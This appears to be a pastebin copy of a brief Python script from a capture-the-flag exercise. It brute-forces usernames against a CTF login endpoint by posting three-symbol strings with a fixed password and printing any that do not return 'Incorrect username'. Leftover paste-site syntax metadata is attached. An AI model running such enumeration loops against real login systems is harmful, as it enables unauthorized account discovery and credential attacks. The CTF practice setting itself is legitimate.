import requests
import time
from brute import brute
API_ENDPOINT = "http://pldevcoreos.ux.dsone.3ds.com/ctf/hacker/index"
# data to be sent to api
# sending post request and saving response as response object
# extracting response text
#print(r)
for s in brute(length=3, letters=False, numbers=False, symbols=True):
data = {'username': s,
'password': "password"
}
r = requests.post(url = API_ENDPOINT, data = data)
pastebin_url = r.text
#print('------------------------')
#print("<p>Incorrect username</p>" in pastebin_url)
time.sleep(0.001)
if "<p>Incorrect username</p>" in pastebin_url:
q = 0;
#print("<p>Incorrect username</p>" in pastebin_url)
else:
print(s)
{"html5":"htmlmixed","css":"css","javascript":"javascript","php":"php","python":"python","ruby":"ruby","lua":"text\/x-lua","bash":"text\/x-sh","go":"go","c":"text\/x-csrc","cpp":"text\/x-c++src","diff":"diff","latex":"stex","sql":"sql","xml":"xml","apl":"apl","asterisk":"asterisk","c_loadrunner":"text\/x-csrc","c_mac":"text\/x-csrc","coffeescript":"text\/x-coffeescript","csharp":"text\/x-csharp","d":"d","ecmascript":"javascript","erlang":"erlang","groovy":"text\/x-groovy","haskell":"text\/x-haskell","haxe":"text\/x-haxe","html4strict":"htmlmixed","java":"text\/x-java","java5":"text\/x-java","jquery":"javascript","mirc":"mirc","mysql":"sql","ocaml":"text\/x-ocaml","pascal":"text\/x-pascal","perl":"perl","perl6":"perl","plsql":"sql","properties":"text\/x-properties","q":"text\/x-q","scala":"scala","scheme":"text\/x-scheme","tcl":"text\/x-tcl","vb":"text\/x-vb","verilog":"text\/x-verilog","yaml":"text\/x-yaml","z80":"text\/x-z80"}